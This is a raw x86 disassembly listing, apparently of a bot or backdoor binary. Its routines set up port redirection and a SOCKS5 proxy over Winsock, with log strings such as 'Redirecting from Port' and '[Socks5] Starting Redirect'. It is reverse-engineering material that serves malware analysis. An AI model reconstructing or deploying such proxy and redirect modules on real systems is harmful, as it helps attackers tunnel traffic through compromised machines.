		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C810	proc near		; CODE XREF: sub_401217j
		jmp	sub_4017A8
sub_42C810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C830	proc near		; CODE XREF: sub_401537j

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42C9FA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42C888
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C888:				; CODE XREF: sub_42C830+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42C8E2
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C8E2:				; CODE XREF: sub_42C830+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42C912
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: sub_42C830+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_511CAC
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42C9FA
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C966:				; CODE XREF: sub_42C830+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C990
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C990:				; CODE XREF: sub_42C830+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C9CB
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C9CB:				; CODE XREF: sub_42C830+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42C966
		jmp	short loc_42C9FA
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C830+15Ej
					; sub_42C830+199j
		push	0Ah
		call	near ptr 2820269h
		nop


loc_42C9FA:				; CODE XREF: sub_42C830+27j
					; sub_42C830+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_511C9C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CA0E
		push	eax
		call	edi	; closesocket


loc_42CA0E:				; CODE XREF: sub_42C830+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA1C
		push	esi
		call	edi	; closesocket


loc_42CA1C:				; CODE XREF: sub_42C830+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42C830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  78h	; x
		db 0CFh	; Ï
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db 0CEh	; Î
		db  54h	; T
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  54h	; T
		db  4Dh	; M
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0F1h	; ñ
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0F4h	; ô
		db  4Ah	; J
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB20:				; CODE XREF: ___:loc_4015FAj
					; ___:00401FC8j
		push	esi
		mov	esi, ecx
		call	sub_401B9F
		test	byte ptr [esp+8], 1
		jz	short loc_42CB38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42CB38:				; CODE XREF: ___:0042CB2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42CB50	proc near		; CODE XREF: sub_401B9Fj
		jmp	sub_4017A8
sub_42CB50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB70	proc near		; CODE XREF: sub_4019F1j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42CB70
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42CDA8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42CC5B
		mov	edx, [esi+9Dh]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: sub_42CB70+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42CD54


loc_42CC6F:				; CODE XREF: sub_42CB70+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CD35
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42CD35
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42CD35
		push	0A9h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42CCD5
		mov	ecx, eax
		call	sub_40166D
		mov	edi, eax


loc_42CCD5:				; CODE XREF: sub_42CB70+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FDC
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013DE


loc_42CD35:				; CODE XREF: sub_42CB70+111j
					; sub_42CB70+133j ...
		push	0FAh
		nop
		call	near ptr 2820269h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42CC6F


loc_42CD54:				; CODE XREF: sub_42CB70+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CD66
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42CD66:				; CODE XREF: sub_42CB70+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017EE
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h


loc_42CDA8:				; CODE XREF: sub_42CB70+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42CB70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42CE60	proc near		; CODE XREF: sub_402202j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_42CE60	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019C4
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D150:				; CODE XREF: ___:loc_40204Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43D0B4
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42D2B7
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
		dd 7EED1BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
		dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	3FDCE800h, 68FFFDh, 8D004446h
		dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
		dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD3F9Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 27E80000h
		db 41h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42D2B7:				; CODE XREF: ___:0042D18Dj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D3E7
		push	9Dh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42D2FE
		mov	ecx, eax
		call	sub_401898
		mov	edi, eax
		jmp	short loc_42D300
; ---------------------------------------------------------------------------


loc_42D2FE:				; CODE XREF: ___:0042D2F1j
		xor	edi, edi


loc_42D300:				; CODE XREF: ___:0042D2FCj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D3E7:				; CODE XREF: ___:0042D2CAj
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D510
		push	0A2h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42D42E
		mov	ecx, eax
		call	sub_4018ED
		mov	edi, eax
		jmp	short loc_42D430
; ---------------------------------------------------------------------------


loc_42D42E:				; CODE XREF: ___:0042D421j
		xor	edi, edi


loc_42D430:				; CODE XREF: ___:0042D42Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42D4DE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42D4E5
; ---------------------------------------------------------------------------


loc_42D4DE:				; CODE XREF: ___:0042D4D3j
		mov	byte ptr [edi+9Dh], 0


loc_42D4E5:				; CODE XREF: ___:0042D4DCj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42D510:				; CODE XREF: ___:0042D3FAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D5DD
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42D55A
		mov	ecx, eax
		call	sub_40218A
		mov	edi, eax
		jmp	short loc_42D55C
; ---------------------------------------------------------------------------


loc_42D55A:				; CODE XREF: ___:0042D54Dj
		xor	edi, edi


loc_42D55C:				; CODE XREF: ___:0042D558j
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D5DD:				; CODE XREF: ___:0042D526j
		lea	ecx, [ebp+0BCh]
		call	sub_4014DD
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D809
		lea	ecx, [esp+30h]
		call	sub_40142E
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6BF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6BF:				; CODE XREF: ___:0042D6AFj
		lea	ecx, [esp+18h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6DD
		push	offset byte_448F30
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6DD:				; CODE XREF: ___:0042D6CDj
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		mov	edi, dword_511B14
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C2B
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42D809:				; CODE XREF: ___:0042D5FCj
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42D826
		mov	[ebp+11Ch], al


loc_42D826:				; CODE XREF: ___:0042D81Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA00:				; CODE XREF: ___:004021CBj
		push	ecx
		mov	edx, dword_449A4D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42DA21
		inc	ecx
		mov	[eax+118h], ecx


loc_42DA21:				; CODE XREF: ___:0042DA18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA80	proc near		; CODE XREF: sub_401E1Fj

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_438244
sub_42DA80	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 900D8B19h, 5000511Ah, 6840C183h, 4473C8h, 3365E851h
		dd 83907781h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
